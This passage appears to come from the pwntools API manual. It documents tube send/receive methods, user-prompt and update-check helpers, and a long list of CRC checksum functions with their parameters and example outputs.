Same as recvrepeat(), but returns a bytearray
recvuntil(delims, drop=False, timeout=default) → bytes
Receive data until one of delims is encountered.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.
Parameters
• delims (bytes,tuple) – Byte-string of delimiters characters, or list of delimiter byte-
strings.
• drop (bool) – Drop the ending. If True it is removed from the end of the return value.
Raises exceptions.EOFError – The connection closed before the request could be satis-
fied
Returns A string containing bytes received from the socket, or '' if a timeout occurred while
waiting.
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b"Hello World!"
>>> t.recvuntil(b' ')
b'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil((b' ',b'W',b'o',b'r'))
b'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(b' Wor')
b'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(b' Wor', drop=True)
b'Hello'
recvuntilS(*a, **kw)
Same as recvuntil(), but returns a str,decoding the result using context.encoding.(note that the binary
versions are way faster)
recvuntilb(*a, **kw)
Same as recvuntil(), but returns a bytearray
send(data)
Sends data.
If log level DEBUG is enabled, also prints out the data received.
If it is not possible to send anymore because of a closed connection, it raises exceptions.EOFError
Examples
Examples
Examples
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
shutdown(direction = "send")
Closes the tube for futher reading or writing depending on direction.
Parameters direction (str) – Which direction to close; “in”, “read” or “recv” closes the
tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.
Returns None
Examples
spawn_process(*args, **kwargs)
Spawns a new process having this tube as stdin, stdout and stderr.
Takes the same arguments as subprocess.Popen.
stream()
Receive data until the tube exits, and print it to stdout.
Similar to interactive(), except that no input is sent.
Similar to print(tube.recvall()) except that data is printed as it is received, rather than after all
data is received.
Parameters line_mode (bool) – Whether to receive line-by-line or raw data.
Returns All data printed.
timeout_change()
Informs the raw layer of the tube that the timeout has changed.
Should not be called directly.
Inherited from Timeout.
unread(*a, **kw)
Alias for unrecv()
unrecv(data)
Puts the specified data back at the beginning of the receive buffer.
Examples
>>> t = tube()
>>> t.recv_raw = lambda n: b'hello'
>>> t.recv()
b'hello'
>>> t.recv()
b'hello'
>>> t.unrecv(b'world')
>>> t.recv()
b'world'
>>> t.recv()
b'hello'
wait()
Waits until the tube is closed.
wait_for_close()
Waits until the tube is closed.
write(*a, **kw)
Alias for send()
write_raw(*a, **kw)
Alias for send_raw()
writeafter(*a, **kw)
Alias for sendafter()
writeline(*a, **kw)
Alias for sendline()
writelineafter(*a, **kw)
Alias for sendlineafter()
writelines(*a, **kw)
Alias for sendlines()
writelinethen(*a, **kw)
Alias for sendlinethen()
writethen(*a, **kw)
Alias for sendthen()
newline = '\n'
Delimiter to use for sendline(), recvline(), and related functions.
Parameters
• prompt (str) – The prompt to show
• opts (list) – The options to show to the user
• default – The default option to choose
Returns The users choice in the form of an integer.
pwnlib.ui.pause(n=None)
Waits for either user input or a specific number of seconds.
pwnlib.ui.yesno(prompt, default=None)
Presents the user with prompt (typically in the form of question) which the user must answer yes or no.
Parameters
• prompt (str) – The prompt to show
• default – The default option; True means “yes”
Returns True if the answer was “yes”, False if “no”
# Pwntools Update
In order to ensure that Pwntools users always have the latest and greatest version, Pwntools automatically checks for
updates.
Since this update check takes a moment, it is only performed once every week. It can be permanently disabled via:
pwnlib.update.available_on_pypi(prerelease=False)
Return True if an update is available on PyPI.
pwnlib.update.cache_file()
Returns the path of the file used to cache update data, and ensures that it exists.
pwnlib.update.last_check()
Return the date of the last check
pwnlib.update.perform_check(prerelease=False)
Perform the update check, and report to the user.
Parameters prerelease (bool) – Whether or not to include pre-release versions.
Returns A list of arguments to the update command.
>>> perform_check(prerelease=False)
['pip', 'install', '-U', 'pwntools']
>>> perform_check(prerelease=True) # doctest: +ELLIPSIS
['pip', 'install', '-U', 'pwntools...']
pwnlib.update.should_check()
Return True if we should check for an update
Examples
pwnlib.useragents.random() → str
Get a random user agent string.
Parameters None –
Returns A random user agent string selected from getall().
It is horribly slow, as implements a naive algorithm working direclty on bit polynomials. This class is exposed as
BitPolynom.
The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of 'A'*40000.
An obvious optimization would be to actually generate some lookup-tables.
This doctest is to ensure that the known data are accurate:
class pwnlib.util.crc.BitPolynom(n)
Class for representing GF(2)[X], i.e. the field of polynomials over GF(2).
In practice the polynomials are represented as numbers such that x**n corresponds to 1 << n. In this represen-
tation calculations are easy: Just do everything as normal, but forget about everything the carries.
Addition becomes xor and multiplication becomes carry-less multiplication.
Examples
degree()
Returns the degree of the polynomial.
Examples
>>> BitPolynom(0).degree()
0
>>> BitPolynom(1).degree()
0
>>> BitPolynom(2).degree()
1
>>> BitPolynom(7).degree()
2
>>> BitPolynom((1 << 10) - 1).degree()
9
>>> BitPolynom(1 << 10).degree()
10
Example
>>> print(cksum(b'123456789'))
930766865
pwnlib.util.crc.find_crc_function(data, checksum)
Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all
known CRC functions one after the other.
Parameters data (str) – Data for which the checksum is known.
Example
pwnlib.util.crc.arc(data) → int
Calculates the arc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8005
• width = 16
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16
Parameters data (str) – The data to checksum.
Example
>>> print(arc(b'123456789'))
47933
pwnlib.util.crc.crc_10(data) → int
Calculates the crc_10 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x233
• width = 10
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10
Parameters data (str) – The data to checksum.
Example
>>> print(crc_10(b'123456789'))
409
pwnlib.util.crc.crc_10_cdma2000(data) → int
Calculates the crc_10_cdma2000 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3d9
• width = 10
• init = 0x3ff
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000
Parameters data (str) – The data to checksum.
Example
>>> print(crc_10_cdma2000(b'123456789'))
563
pwnlib.util.crc.crc_10_gsm(data) → int
Calculates the crc_10_gsm checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x175
• width = 10
• init = 0x0
• refin = False
• refout = False
• xorout = 0x3ff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-gsm
Parameters data (str) – The data to checksum.
Example
>>> print(crc_10_gsm(b'123456789'))
298
pwnlib.util.crc.crc_11(data) → int
Calculates the crc_11 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x385
• width = 11
• init = 0x1a
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11
Parameters data (str) – The data to checksum.
Example
>>> print(crc_11(b'123456789'))
1443
pwnlib.util.crc.crc_11_umts(data) → int
Calculates the crc_11_umts checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x307
• width = 11
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-11-umts
Parameters data (str) – The data to checksum.
Example
>>> print(crc_11_umts(b'123456789'))
97
pwnlib.util.crc.crc_12_cdma2000(data) → int
Calculates the crc_12_cdma2000 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xf13
• width = 12
• init = 0xfff
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12
Parameters data (str) – The data to checksum.
Example
>>> print(crc_12_cdma2000(b'123456789'))
3405
pwnlib.util.crc.crc_12_dect(data) → int
Calculates the crc_12_dect checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x80f
• width = 12
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect
Parameters data (str) – The data to checksum.
Example
>>> print(crc_12_dect(b'123456789'))
3931
pwnlib.util.crc.crc_12_gsm(data) → int
Calculates the crc_12_gsm checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xd31
• width = 12
• init = 0x0
• refin = False
• refout = False
• xorout = 0xfff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-gsm
Parameters data (str) – The data to checksum.
Example
>>> print(crc_12_gsm(b'123456789'))
2868
pwnlib.util.crc.crc_12_umts(data) → int
Calculates the crc_12_umts checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x80f
• width = 12
• init = 0x0
• refin = False
• refout = True
• xorout = 0x0
Example
>>> print(crc_12_umts(b'123456789'))
3503
pwnlib.util.crc.crc_13_bbc(data) → int
Calculates the crc_13_bbc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1cf5
• width = 13
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13
Parameters data (str) – The data to checksum.
Example
>>> print(crc_13_bbc(b'123456789'))
1274
pwnlib.util.crc.crc_14_darc(data) → int
Calculates the crc_14_darc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x805
• width = 14
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14
Parameters data (str) – The data to checksum.
Example
>>> print(crc_14_darc(b'123456789'))
2093
pwnlib.util.crc.crc_14_gsm(data) → int
Calculates the crc_14_gsm checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x202d
• width = 14
• init = 0x0
• refin = False
• refout = False
• xorout = 0x3fff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-14-gsm
Parameters data (str) – The data to checksum.
Example
>>> print(crc_14_gsm(b'123456789'))
12462
pwnlib.util.crc.crc_15(data) → int
Calculates the crc_15 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4599
• width = 15
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15
Parameters data (str) – The data to checksum.
Example
>>> print(crc_15(b'123456789'))
1438
pwnlib.util.crc.crc_15_mpt1327(data) → int
Calculates the crc_15_mpt1327 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x6815
• width = 15
• init = 0x0
• refin = False
• refout = False
• xorout = 0x1
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327
Parameters data (str) – The data to checksum.
Example
>>> print(crc_15_mpt1327(b'123456789'))
9574
pwnlib.util.crc.crc_16_aug_ccitt(data) → int
Calculates the crc_16_aug_ccitt checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0x1d0f
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_aug_ccitt(b'123456789'))
58828
pwnlib.util.crc.crc_16_buypass(data) → int
Calculates the crc_16_buypass checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8005
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_buypass(b'123456789'))
65256
pwnlib.util.crc.crc_16_ccitt_false(data) → int
Calculates the crc_16_ccitt_false checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0xffff
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_ccitt_false(b'123456789'))
10673
pwnlib.util.crc.crc_16_cdma2000(data) → int
Calculates the crc_16_cdma2000 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xc867
• width = 16
• init = 0xffff
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_cdma2000(b'123456789'))
19462
pwnlib.util.crc.crc_16_cms(data) → int
Calculates the crc_16_cms checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8005
• width = 16
• init = 0xffff
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cms
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_cms(b'123456789'))
44775
pwnlib.util.crc.crc_16_dds_110(data) → int
Calculates the crc_16_dds_110 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8005
• width = 16
• init = 0x800d
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dds-110
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_dds_110(b'123456789'))
40655
pwnlib.util.crc.crc_16_dect_r(data) → int
Calculates the crc_16_dect_r checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x589
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x1
Example
>>> print(crc_16_dect_r(b'123456789'))
126
pwnlib.util.crc.crc_16_dect_x(data) → int
Calculates the crc_16_dect_x checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x589
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_dect_x(b'123456789'))
127
pwnlib.util.crc.crc_16_dnp(data) → int
Calculates the crc_16_dnp checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3d65
• width = 16
• init = 0x0
• refin = True
• refout = True
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_dnp(b'123456789'))
60034
pwnlib.util.crc.crc_16_en_13757(data) → int
Calculates the crc_16_en_13757 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3d65
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_en_13757(b'123456789'))
49847
pwnlib.util.crc.crc_16_genibus(data) → int
Calculates the crc_16_genibus checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0xffff
• refin = False
• refout = False
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_genibus(b'123456789'))
54862
pwnlib.util.crc.crc_16_gsm(data) → int
Calculates the crc_16_gsm checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-gsm
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_gsm(b'123456789'))
52796
pwnlib.util.crc.crc_16_lj1200(data) → int
Calculates the crc_16_lj1200 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x6f63
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-lj1200
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_lj1200(b'123456789'))
48628
pwnlib.util.crc.crc_16_maxim(data) → int
Calculates the crc_16_maxim checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8005
• width = 16
• init = 0x0
• refin = True
• refout = True
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_maxim(b'123456789'))
17602
pwnlib.util.crc.crc_16_mcrf4xx(data) → int
Calculates the crc_16_mcrf4xx checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0xffff
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_mcrf4xx(b'123456789'))
28561
pwnlib.util.crc.crc_16_opensafety_a(data) → int
Calculates the crc_16_opensafety_a checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x5935
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_opensafety_a(b'123456789'))
23864
pwnlib.util.crc.crc_16_opensafety_b(data) → int
Calculates the crc_16_opensafety_b checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x755b
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_opensafety_b(b'123456789'))
8446
pwnlib.util.crc.crc_16_profibus(data) → int
Calculates the crc_16_profibus checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1dcf
• width = 16
• init = 0xffff
• refin = False
• refout = False
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-profibus
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_profibus(b'123456789'))
43033
pwnlib.util.crc.crc_16_riello(data) → int
Calculates the crc_16_riello checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0xb2aa
• refin = True
• refout = True
• xorout = 0x0
Example
>>> print(crc_16_riello(b'123456789'))
25552
pwnlib.util.crc.crc_16_t10_dif(data) → int
Calculates the crc_16_t10_dif checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8bb7
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_t10_dif(b'123456789'))
53467
pwnlib.util.crc.crc_16_teledisk(data) → int
Calculates the crc_16_teledisk checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xa097
• width = 16
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_teledisk(b'123456789'))
4019
pwnlib.util.crc.crc_16_tms37157(data) → int
Calculates the crc_16_tms37157 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1021
• width = 16
• init = 0x89ec
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_tms37157(b'123456789'))
9905
pwnlib.util.crc.crc_16_usb(data) → int
Calculates the crc_16_usb checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x8005
• width = 16
• init = 0xffff
• refin = True
• refout = True
• xorout = 0xffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb
Parameters data (str) – The data to checksum.
Example
>>> print(crc_16_usb(b'123456789'))
46280
pwnlib.util.crc.crc_24(data) → int
Calculates the crc_24 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x864cfb
• width = 24
• init = 0xb704ce
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24
Parameters data (str) – The data to checksum.
Example
>>> print(crc_24(b'123456789'))
2215682
pwnlib.util.crc.crc_24_ble(data) → int
Calculates the crc_24_ble checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x65b
• width = 24
• init = 0x555555
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-ble
Parameters data (str) – The data to checksum.
Example
>>> print(crc_24_ble(b'123456789'))
12737110
pwnlib.util.crc.crc_24_flexray_a(data) → int
Calculates the crc_24_flexray_a checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x5d6dcb
• width = 24
• init = 0xfedcba
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a
Parameters data (str) – The data to checksum.
Example
>>> print(crc_24_flexray_a(b'123456789'))
7961021
pwnlib.util.crc.crc_24_flexray_b(data) → int
Calculates the crc_24_flexray_b checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x5d6dcb
• width = 24
• init = 0xabcdef
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b
Parameters data (str) – The data to checksum.
Example
>>> print(crc_24_flexray_b(b'123456789'))
2040760
pwnlib.util.crc.crc_24_interlaken(data) → int
Calculates the crc_24_interlaken checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x328b63
• width = 24
• init = 0xffffff
• refin = False
• refout = False
• xorout = 0xffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-interlaken
Parameters data (str) – The data to checksum.
Example
>>> print(crc_24_interlaken(b'123456789'))
11858918
pwnlib.util.crc.crc_24_lte_a(data) → int
Calculates the crc_24_lte_a checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x864cfb
• width = 24
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-a
Parameters data (str) – The data to checksum.
Example
>>> print(crc_24_lte_a(b'123456789'))
13494019
pwnlib.util.crc.crc_24_lte_b(data) → int
Calculates the crc_24_lte_b checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x800063
• width = 24
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-b
Parameters data (str) – The data to checksum.
Example
>>> print(crc_24_lte_b(b'123456789'))
2355026
pwnlib.util.crc.crc_30_cdma(data) → int
Calculates the crc_30_cdma checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x2030b9c7
• width = 30
• init = 0x3fffffff
• refin = False
• refout = False
• xorout = 0x3fffffff
Example
>>> print(crc_30_cdma(b'123456789'))
79907519
pwnlib.util.crc.crc_31_philips(data) → int
Calculates the crc_31_philips checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4c11db7
• width = 31
• init = 0x7fffffff
• refin = False
• refout = False
• xorout = 0x7fffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31
Parameters data (str) – The data to checksum.
Example
>>> print(crc_31_philips(b'123456789'))
216654956
pwnlib.util.crc.crc_32(data) → int
Calculates the crc_32 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4c11db7
• width = 32
• init = 0xffffffff
• refin = True
• refout = True
• xorout = 0xffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32(b'123456789'))
3421780262
pwnlib.util.crc.crc_32_autosar(data) → int
Calculates the crc_32_autosar checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xf4acfb13
• width = 32
• init = 0xffffffff
• refin = True
• refout = True
• xorout = 0xffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-autosar
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32_autosar(b'123456789'))
379048042
pwnlib.util.crc.crc_32_bzip2(data) → int
Calculates the crc_32_bzip2 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4c11db7
• width = 32
• init = 0xffffffff
• refin = False
• refout = False
• xorout = 0xffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32_bzip2(b'123456789'))
4236843288
pwnlib.util.crc.crc_32_mpeg_2(data) → int
Calculates the crc_32_mpeg_2 checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4c11db7
• width = 32
• init = 0xffffffff
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32_mpeg_2(b'123456789'))
58124007
pwnlib.util.crc.crc_32_posix(data) → int
Calculates the crc_32_posix checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4c11db7
• width = 32
• init = 0x0
• refin = False
• refout = False
• xorout = 0xffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32_posix(b'123456789'))
1985902208
pwnlib.util.crc.crc_32c(data) → int
Calculates the crc_32c checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x1edc6f41
• width = 32
• init = 0xffffffff
• refin = True
• refout = True
• xorout = 0xffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32c(b'123456789'))
3808858755
pwnlib.util.crc.crc_32d(data) → int
Calculates the crc_32d checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0xa833982b
• width = 32
• init = 0xffffffff
• refin = True
• refout = True
• xorout = 0xffffffff
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32d(b'123456789'))
2268157302
pwnlib.util.crc.crc_32q(data) → int
Calculates the crc_32q checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x814141ab
• width = 32
• init = 0x0
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q
Parameters data (str) – The data to checksum.
Example
>>> print(crc_32q(b'123456789'))
806403967
pwnlib.util.crc.crc_3_gsm(data) → int
Calculates the crc_3_gsm checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3
• width = 3
• init = 0x0
• refin = False
• refout = False
• xorout = 0x7
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3
Parameters data (str) – The data to checksum.
Example
>>> print(crc_3_gsm(b'123456789'))
4
pwnlib.util.crc.crc_3_rohc(data) → int
Calculates the crc_3_rohc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3
• width = 3
• init = 0x7
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-3-rohc
Parameters data (str) – The data to checksum.
Example
>>> print(crc_3_rohc(b'123456789'))
6
pwnlib.util.crc.crc_40_gsm(data) → int
Calculates the crc_40_gsm checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x4820009
• width = 40
• init = 0x0
• refin = False
• refout = False
• xorout = 0xffffffffff
Example
>>> print(crc_40_gsm(b'123456789'))
910907393606
pwnlib.util.crc.crc_4_interlaken(data) → int
Calculates the crc_4_interlaken checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3
• width = 4
• init = 0xf
• refin = False
• refout = False
• xorout = 0xf
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4
Parameters data (str) – The data to checksum.
Example
>>> print(crc_4_interlaken(b'123456789'))
11
pwnlib.util.crc.crc_4_itu(data) → int
Calculates the crc_4_itu checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x3
• width = 4
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-4-itu
Parameters data (str) – The data to checksum.
Example
>>> print(crc_4_itu(b'123456789'))
7
pwnlib.util.crc.crc_5_epc(data) → int
Calculates the crc_5_epc checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x9
• width = 5
• init = 0x9
• refin = False
• refout = False
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5
Parameters data (str) – The data to checksum.
Example
>>> print(crc_5_epc(b'123456789'))
0
pwnlib.util.crc.crc_5_itu(data) → int
Calculates the crc_5_itu checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x15
• width = 5
• init = 0x0
• refin = True
• refout = True
• xorout = 0x0
See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-itu
Parameters data (str) – The data to checksum.
Example
>>> print(crc_5_itu(b'123456789'))
7
pwnlib.util.crc.crc_5_usb(data) → int
Calculates the crc_5_usb checksum.
This is simply the generic_crc() with these frozen arguments:
• polynom = 0x5
• width = 5
• init = 0x1f
• refin = True
